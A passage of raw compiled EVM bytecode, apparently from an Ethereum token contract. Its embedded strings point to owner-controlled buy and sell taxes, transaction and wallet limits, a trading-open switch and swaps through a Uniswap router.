ffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461197e91906152ff565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516119e39190614499565b60405180910390a37ffd38818f5291bf0bb3a2a48aadc06ba8757865d1dabd804585338aab3009dcb63383604051611a1c929190615355565b60405180910390a15050565b600080600080600854600954600a54600b54935093509350935090919293565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611b1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b1690614ed0565b60405180910390fd5b8115611b80576000611b3030611a48565b905060008111611b75576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b6c906153ca565b60405180910390fd5b611b7e816136dd565b505b8015611b9057611b8f4761388e565b5b5050565b600080601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16601260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1691509150915091565b606060028054611c4990614c26565b80601f0160208091040260200160405190810160405280929190818152602001828054611c7590614c26565b8015611cc25780601f10611c9757610100808354040283529160200191611cc2565b820191906000526020600020905b815481529060010190602001808311611ca557829003601f168201915b5050505050905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611d5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d5190614ed0565b60405180910390fd5b611d626133f9565b15611da2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d9990615058565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611e33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e2a906150c4565b60405180910390fd5b81816000818110611e4757611e466153ea565b5b9050602002810190611e599190615428565b604051602001611e6a9291906154f0565b60405160208183030381529060405260029080519060200190611e8e929190614218565b5081816001818110611ea357611ea26153ea565b5b9050602002810190611eb59190615428565b83836002818110611ec957611ec86153ea565b5b9050602002810190611edb9190615428565b604051602001611eee9493929190615564565b60405160208183030381529060405260019080519060200190611f12929190614218565b505050565b6000611f21612ce4565b611f60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f5790614f73565b60405180910390fd5b611f6b338484612d61565b905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612001576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ff890614ed0565b60405180910390fd5b600060016103e88461ffff166009600a61201b9190614db9565b6305f5e10061202a9190614e04565b6120349190614e04565b61203e91906155d9565b61204891906152ff565b905060085481101561208f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161208690615656565b60405180910390fd5b80600881905550600060016103e88461ffff166009600a6120b09190614db9565b6305f5e1006120bf9190614e04565b6120c99190614e04565b6120d391906155d9565b6120dd91906152ff565b9050600954811015612124576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161211b906156c2565b60405180910390fd5b806009819055507f72c1c0546833bfc2a43408333cd18ef1d9c882e9d46f89002a3fd40bceffe5f76008546009546040516121609291906156e2565b60405180910390a150505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146121fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121f390614ed0565b60405180910390fd5b6122046133f9565b15612244576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161223b90615058565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16036122d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122cc90615757565b60405180910390fd5b6122dd613bcc565b565b60008060008060008060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16955095509550955095509550909192939495565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461245a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161245190614ed0565b60405180910390fd5b84600760066101000a81548161ffff021916908361ffff16021790555083600760086101000a81548161ffff021916908361ffff160217905550826007600a6101000a81548161ffff021916908361ffff160217905550816007600c6101000a81548161ffff021916908361ffff160217905550806007600e6101000a81548161ffff021916908361ffff1602179055506007600e9054906101000a900461ffff166007600c9054906101000a900461ffff166007600a9054906101000a900461ffff16600760089054906101000a900461ffff16600760069054906101000a900461ffff1661254a9190615777565b6125549190615777565b61255e9190615777565b6125689190615777565b600760106101000a81548161ffff021916908361ffff1602179055507fccb4a96d4f7e36c9ba5f2b62187ca244ce0919ee883fa5ed88c3b5cb51a174b285858585856040516125bb9594939291906157af565b60405180910390a15050505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146126df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126d690614ed0565b60405180910390fd5b8263ffffffff168463ffffffff166009600a6126fb9190614db9565b6305f5e10061270a9190614e04565b6127149190614e04565b61271e91906155d9565b600a819055508063ffffffff168263ffffffff166009600a6127409190614db9565b6305f5e10061274f9190614e04565b6127599190614e04565b61276391906155d9565b600b81905550600a54600b541161277957600080fd5b7f325d25781eb858cfe3b3ede984fc8a66dd8e8be0b4a349189e05d0a35e6803bb600a54600b546040516127ae9291906156e2565b60405180910390a150505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461284a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161284190614ed0565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc686163816040516128b99190615861565b60405180910390a150565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612952576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161294990614ed0565b60405180910390fd5b8015612a14578360ff168360ff16116129a0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612997906158c8565b60405180910390fd5b600760029054906101000a900460ff1660026129bc91906158e8565b60ff1683856129cb9190615923565b60ff161115612a0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a06906159a6565b60405180910390fd5b612a8e565b600760029054906101000a900460ff1660ff168460ff1611158015612a4e5750600760029054906101000a900460ff1660ff168360ff1611155b612a8d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a8490615a12565b60405180910390fd5b5b600760029054906101000a900460ff1660ff168260ff161115612ae6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612add90615a12565b60405180910390fd5b83600760036101000a81548160ff021916908360ff16021790555082600760046101000a81548160ff021916908360ff16021790555081600760056101000a81548160ff021916908360ff1602179055507fad5f92c9aca612d1d1b2c7afafd77c1b96e3d9b873cad916be28888672cf919384848484604051612b6c9493929190615a32565b60405180910390a150505050565b6000612b846133f9565b8015612b9e5750600a601354612b9a91906152ff565b4310155b15612bb257612bab6133f9565b9050612bb7565b600090505b90565b601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612c5357506000601560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b15612cdf5781601560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508015612cde576007600081819054906101000a900461ffff1680929190612cc290615a77565b91906101000a81548161ffff021916908361ffff160217905550505b5b505050565b60008060009050612cf36133f9565b15612d015760019050612d5a565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff1603612d5957600190505b5b8091505090565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015612dcc5750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b612e0b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e0290615aed565b60405180910390fd5b436013541115612ebe576000601560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205403612e6d57612e6883436001612bba565b612eb9565b612eb883601560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546000612bba565b5b612f52565b6000601560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414612f5157612f5083601560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546000612bba565b5b5b612f5a6133f9565b8015612fa657506000601560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414155b8015612ff0575043601560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054105b15613030576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161302790615b59565b60405180910390fd5b601660009054906101000a900460ff161580156130965750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156130a4576130a3613cf0565b5b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561310c57503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015613164575060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156131b457613174848484613e87565b6131b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016131aa90615bc5565b60405180910390fd5b5b60006131c1858585614016565b9050600081846131d19190614f93565b905083600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461321e9190614f93565b600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060008211156132f95781600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546132b591906152ff565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b80600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461334491906152ff565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040516133e49190614499565b60405180910390a36001925050509392505050565b60008060009050436005541161340e57600190505b8091505090565b80600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156135fc577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9257fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040516135f39190614499565b60405180910390a35b50565b60008161362a5760008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690505b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71984308760008087426040518863ffffffff1660e01b815260040161369196959493929190615c20565b60606040518083038185885af11580156136af573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906136d49190615c96565b50505050505050565b6136e681613415565b6000600267ffffffffffffffff81111561370357613702615ce9565b5b6040519080825280602002602001820160405280156137315781602001602082028036833780820191505090505b5090503081600081518110613749576137486153ea565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16816001815181106137ba576137b96153ea565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401613858959493929190615dd6565b600060405180830381600087803b15801561387257600080fd5b505af1158015613886573d6000803e3d6000fd5b505050505050565b60006007600e9054906101000a900461ffff166007600c9054906101000a900461ffff166007600a9054906101000a900461ffff16600760089054906101000a900461ffff166138de9190615777565b6138e89190615777565b6138f29190615777565b90506000600760089054906101000a900461ffff1661ffff1611156139a957600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8261ffff16600760089054906101000a900461ffff1661ffff16856139729190614e04565b61397c91906155d9565b9081150290604051600060405180830381858888f193505050501580156139a7573d6000803e3d6000fd5b505b60006007600a9054906101000a900461ffff1661ffff161115613a5e57600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8261ffff166007600a9054906101000a900461ffff1661ffff1685613a279190614e04565b613a3191906155d9565b9081150290604051600060405180830381858888f19350505050158015613a5c573d6000803e3d6000fd5b505b60006007600c9054906101000a900461ffff1661ffff161115613b1357600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8261ffff166007600c9054906101000a900461ffff1661ffff1685613adc9190614e04565b613ae691906155d9565b9081150290604051600060405180830381858888f19350505050158015613b11573d6000803e3d6000fd5b505b60006007600e9054906101000a900461ffff1661ffff161115613bc857600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8261ffff166007600e9054906101000a900461ffff1661ffff1685613b919190614e04565b613b9b91906155d9565b9081150290604051600060405180830381858888f19350505050158015613bc6573d6000803e3d6000fd5b505b5050565b6009600a613bda9190614db9565b6127106009600a613beb9190614db9565b6305f5e100613bfa9190614e04565b6032613c069190614e04565b613c1091906155d9565b613c1a91906152ff565b6008819055506009600a613c2e9190614db9565b6127106009600a613c3f9190614db9565b6305f5e100613c4e9190614e04565b6032613c5a9190614e04565b613c6491906155d9565b613c6e91906152ff565b600981905550600a600760036101000a81548160ff021916908360ff1602179055506014600760046101000a81548160ff021916908360ff160217905550600a600760056101000a81548160ff021916908360ff160217905550601b43613cd591906152ff565b600581905550602443613ce891906152ff565b601381905550565b6001601660006101000a81548160ff0219169083151502179055506000613d1630611a48565b9050600a548110158015613d2e5750613d2d6133f9565b5b15613e6957600b548110613d4257600b5490505b60006002600760109054906101000a900461ffff1661ffff16600760069054906101000a900461ffff1661ffff1684613d7b9190614e04565b613d8591906155d9565b613d8f91906155d9565b905060008183613d9f9190614f93565b90506009600a613daf9190614db9565b8110613e4d576000479050613dc3826136dd565b60008147613dd19190614f93565b90506000600760069054906101000a900461ffff1661ffff161115613e4a576000600760109054906101000a900461ffff1661ffff16600760069054906101000a900461ffff1661ffff1683613e279190614e04565b613e3191906155d9565b9050613e3c85613415565b613e48858260006135ff565b505b50505b60004790506000811115613e6557613e648161388e565b5b5050505b506000601660006101000a81548160ff021916908315150217905550565b60008060019050613e966133f9565b8015613eec5750601260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015613f425750601260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561400b57600854831115613f5a576000905061400a565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015613fff575060095483600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ffd91906152ff565b115b1561400957600090505b5b5b809150509392505050565b6000806140216133f9565b15806140765750601160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806140ca5750601160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156140d8576000905061420d565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561415b576064600760039054906101000a900460ff1660ff168461414a9190614e04565b61415491906155d9565b905061420c565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156141de576064600760049054906101000a900460ff1660ff16846141cd9190614e04565b6141d791906155d9565b905061420b565b6064600760059054906101000a900460ff1660ff16846141fe9190614e04565b61420891906155d9565b90505b5b5b809150509392505050565b82805461422490614c26565b90600052602060002090601f016020900481019282614246576000855561428d565b82601f1061425f57805160ff191683800117855561428d565b8280016001018555821561428d579182015b8281111561428c578251825591602001919060010190614271565b5b50905061429a919061429e565b5090565b5b808211156142b757600081600090555060010161429f565b5090565b600081519050919050565b600082825260208201905092915050565b60005b838110156142f55780820151818401526020810190506142da565b83811115614304576000848401525b50505050565b6000601f19601f8301169050919050565b6000614326826142bb565b61433081856142c6565b93506143408185602086016142d7565b6143498161430a565b840191505092915050565b6000602082019050818103600083015261436e818461431b565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006143ab82614380565b9050919050565b6143bb816143a0565b81146143c657600080fd5b50565b6000813590506143d8816143b2565b92915050565b6000819050919050565b6143f1816143de565b81146143fc57600080fd5b50565b60008135905061440e816143e8565b92915050565b6000806040838503121561442b5761442a614376565b5b6000614439858286016143c9565b925050602061444a858286016143ff565b9150509250929050565b60008115159050919050565b61446981614454565b82525050565b60006020820190506144846000830184614460565b92915050565b614493816143de565b82525050565b60006020820190506144ae600083018461448a565b92915050565b6144bd81614454565b81146144c857600080fd5b50565b6000813590506144da816144b4565b92915050565b6000806000606084860312156144f9576144f8614376565b5b6000614507868287016143c9565b9350506020614518868287016144cb565b9250506040614529868287016144cb565b9150509250925092565b60008060006060848603121561454c5761454b614376565b5b600061455a868287016143c9565b935050602061456b868287016143c9565b925050604061457c868287016143ff565b9150509250925092565b600060ff82169050919050565b61459c81614586565b82525050565b600061ffff82169050919050565b6145b9816145a2565b82525050565b6000610120820190506145d5600083018c614593565b6145e2602083018b614593565b6145ef604083018a614593565b6145fc6060830189614593565b61460960808301886145b0565b61461660a08301876145b0565b61462360c08301866145b0565b61463060e08301856145b0565b61463e6101008301846145b0565b9a9950505050505050505050565b60006020820190506146616000830184614593565b92915050565b60006020828403121561467d5761467c614376565b5b600061468b848285016143c9565b91505092915050565b60006060820190506146a96000830186614460565b6146b6602083018561448a565b6146c360408301846145b0565b949350505050565b600080600080608085870312156146e5576146e4614376565b5b60006146f3878288016143c9565b9450506020614704878288016143c9565b9350506040614715878288016143c9565b9250506060614726878288016143c9565b91505092959194509250565b60006020828403121561474857614747614376565b5b6000614756848285016143ff565b91505092915050565b6000608082019050614774600083018761448a565b614781602083018661448a565b61478e604083018561448a565b61479b606083018461448a565b95945050505050565b600080604083850312156147bb576147ba614376565b5b60006147c9858286016144cb565b92505060206147da858286016144cb565b9150509250929050565b60006040820190506147f96000830185614460565b6148066020830184614460565b9392505050565b600080fd5b600080fd5b600080fd5b60008083601f8401126148325761483161480d565b5b8235905067ffffffffffffffff81111561484f5761484e614812565b5b60208301915083602082028301111561486b5761486a614817565b5b9250929050565b6000806020838503121561488957614888614376565b5b600083013567ffffffffffffffff8111156148a7576148a661437b565b5b6148b38582860161481c565b92509250509250929050565b6148c8816145a2565b81146148d357600080fd5b50565b6000813590506148e5816148bf565b92915050565b6000806040838503121561490257614901614376565b5b6000614910858286016148d6565b9250506020614921858286016148d6565b9150509250929050565b614934816143a0565b82525050565b600060c08201905061494f600083018961492b565b61495c602083018861492b565b614969604083018761492b565b614976606083018661492b565b614983608083018561492b565b61499060a083018461492b565b979650505050505050565b600080600080600060a086880312156149b7576149b6614376565b5b60006149c5888289016148d6565b95505060206149d6888289016148d6565b94505060406149e7888289016148d6565b93505060606149f8888289016148d6565b9250506080614a09888289016148d6565b9150509295509295909350565b60008060408385031215614a2d57614a2c614376565b5b6000614a3b858286016143c9565b9250506020614a4c858286016143c9565b9150509250929050565b600063ffffffff82169050919050565b614a6f81614a56565b8114614a7a57600080fd5b50565b600081359050614a8c81614a66565b92915050565b60008060008060808587031215614aac57614aab614376565b5b6000614aba87828801614a7d565b9450506020614acb87828801614a7d565b9350506040614adc87828801614a7d565b9250506060614aed87828801614a7d565b91505092959194509250565b6000614b0482614380565b9050919050565b614b1481614af9565b8114614b1f57600080fd5b50565b600081359050614b3181614b0b565b92915050565b600060208284031215614b4d57614b4c614376565b5b6000614b5b84828501614b22565b91505092915050565b614b6d81614586565b8114614b7857600080fd5b50565b600081359050614b8a81614b64565b92915050565b60008060008060808587031215614baa57614ba9614376565b5b6000614bb887828801614b7b565b9450506020614bc987828801614b7b565b9350506040614bda87828801614b7b565b9250506060614beb878288016144cb565b91505092959194509250565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680614c3e57607f821691505b602082108103614c5157614c50614bf7565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115614cdd57808604811115614cb957614cb8614c57565b5b6001851615614cc85780820291505b8081029050614cd685614c86565b9450614c9d565b94509492505050565b600082614cf65760019050614db2565b81614d045760009050614db2565b8160018114614d1a5760028114614d2457614d53565b6001915050614db2565b60ff841115614d3657614d35614c57565b5b8360020a915084821115614d4d57614d4c614c57565b5b50614db2565b5060208310610133831016604e8410600b8410161715614d885782820a905083811115614d8357614d82614c57565b5b614db2565b614d958484846001614c93565b92509050818404811115614dac57614dab614c57565b5b81810290505b9392505050565b6000614dc4826143de565b9150614dcf83614586565b9250614dfc7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484614ce6565b905092915050565b6000614e0f826143de565b9150614e1a836143de565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615614e5357614e52614c57565b5b828202905092915050565b7f4f6e6c7920636f6e7472616374206f776e65722063616e2063616c6c2074686960008201527f732066756e6374696f6e00000000000000000000000000000000000000000000602082015250565b6000614eba602a836142c6565b9150614ec582614e5e565b604082019050919050565b60006020820190508181036000830152614ee981614ead565b9050919050565b6000606082019050614f05600083018661492b565b614f126020830185614460565b614f1f6040830184614460565b949350505050565b7f54726164696e67206e6f74206f70656e00000000000000000000000000000000600082015250565b6000614f5d6010836142c6565b9150614f6882614f27565b602082019050919050565b60006020820190508181036000830152614f8c81614f50565b9050919050565b6000614f9e826143de565b9150614fa9836143de565b925082821015614fbc57614fbb614c57565b5b828203905092915050565b6000608082019050614fdc600083018761492b565b614fe9602083018661492b565b614ff6604083018561492b565b615003606083018461492b565b95945050505050565b7f74726164696e6720616c7265616479206f70656e000000000000000000000000600082015250565b60006150426014836142c6565b915061504d8261500c565b602082019050919050565b6000602082019050818103600083015261507181615035565b9050919050565b7f4c5020616c726561647920696e697469616c697a656400000000000000000000600082015250565b60006150ae6016836142c6565b91506150b982615078565b602082019050919050565b600060208201905081810360008301526150dd816150a1565b9050919050565b7f6574682063616e6e6f7420626520300000000000000000000000000000000000600082015250565b600061511a600f836142c6565b9150615125826150e4565b602082019050919050565b600060208201905081810360008301526151498161510d565b9050919050565b60008151905061515f816143b2565b92915050565b60006020828403121561517b5761517a614376565b5b600061518984828501615150565b91505092915050565b7f6e6f7420656e6f75676820657468000000000000000000000000000000000000600082015250565b60006151c8600e836142c6565b91506151d382615192565b602082019050919050565b600060208201905081810360008301526151f7816151bb565b9050919050565b7f6e6f20746f6b656e730000000000000000000000000000000000000000000000600082015250565b60006152346009836142c6565b915061523f826151fe565b602082019050919050565b6000602082019050818103600083015261526381615227565b9050919050565b600060408201905061527f600083018561492b565b61528c602083018461492b565b9392505050565b7f546f6b656e2062616c616e636520746f6f206c6f770000000000000000000000600082015250565b60006152c96015836142c6565b91506152d482615293565b602082019050919050565b600060208201905081810360008301526152f8816152bc565b9050919050565b600061530a826143de565b9150615315836143de565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561534a57615349614c57565b5b828201905092915050565b600060408201905061536a600083018561492b565b615377602083018461448a565b9392505050565b7f4e6f20746f6b656e730000000000000000000000000000000000000000000000600082015250565b60006153b46009836142c6565b91506153bf8261537e565b602082019050919050565b600060208201905081810360008301526153e3816153a7565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600080fd5b600080fd5b600080fd5b6000808335600160200384360303811261544557615444615419565b5b80840192508235915067ffffffffffffffff8211156154675761546661541e565b5b60208301925060018202360383131561548357615482615423565b5b509250929050565b7f4445000000000000000000000000000000000000000000000000000000000000815250565b600081905092915050565b82818337600083830152505050565b60006154d783856154b1565b93506154e48385846154bc565b82840190509392505050565b60006154fb8261548b565b60028201915061550c8284866154cb565b91508190509392505050565b7f4a75730000000000000000000000000000000000000000000000000000000000815250565b7f2034204a6f000000000000000000000000000000000000000000000000000000815250565b600061556f82615518565b6003820191506155808286886154cb565b915061558b8261553e565b60058201915061559c8284866154cb565b915081905095945050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006155e4826143de565b91506155ef836143de565b9250826155ff576155fe6155aa565b5b828204905092915050565b7f7478206c696d697420746f6f206c6f7700000000000000000000000000000000600082015250565b60006156406010836142c6565b915061564b8261560a565b602082019050919050565b6000602082019050818103600083015261566f81615633565b9050919050565b7f77616c6c6574206c696d697420746f6f206c6f77000000000000000000000000600082015250565b60006156ac6014836142c6565b91506156b782615676565b602082019050919050565b600060208201905081810360008301526156db8161569f565b9050919050565b60006040820190506156f7600083018561448a565b615704602083018461448a565b9392505050565b7f4c50206e6f7420696e697469616c697a65640000000000000000000000000000600082015250565b60006157416012836142c6565b915061574c8261570b565b602082019050919050565b6000602082019050818103600083015261577081615734565b9050919050565b6000615782826145a2565b915061578d836145a2565b92508261ffff038211156157a4576157a3614c57565b5b828201905092915050565b600060a0820190506157c460008301886145b0565b6157d160208301876145b0565b6157de60408301866145b0565b6157eb60608301856145b0565b6157f860808301846145b0565b9695505050505050565b6000819050919050565b600061582761582261581d84614380565b615802565b614380565b9050919050565b60006158398261580c565b9050919050565b600061584b8261582e565b9050919050565b61585b81615840565b82525050565b60006020820190506158766000830184615852565b92915050565b7f53656c6c20746178206d757374206265203e2062757920746178000000000000600082015250565b60006158b2601a836142c6565b91506158bd8261587c565b602082019050919050565b600060208201905081810360008301526158e1816158a5565b9050919050565b60006158f382614586565b91506158fe83614586565b92508160ff048311821515161561591857615917614c57565b5b828202905092915050565b600061592e82614586565b915061593983614586565b92508260ff0382111561594f5761594e614c57565b5b828201905092915050565b7f4176672074617820746f6f206869676800000000000000000000000000000000600082015250565b60006159906010836142c6565b915061599b8261595a565b602082019050919050565b600060208201905081810360008301526159bf81615983565b9050919050565b7f54617820746f6f20686967680000000000000000000000000000000000000000600082015250565b60006159fc600c836142c6565b9150615a07826159c6565b602082019050919050565b60006020820190508181036000830152615a2b816159ef565b9050919050565b6000608082019050615a476000830187614593565b615a546020830186614593565b615a616040830185614593565b615a6e6060830184614460565b95945050505050565b6000615a828261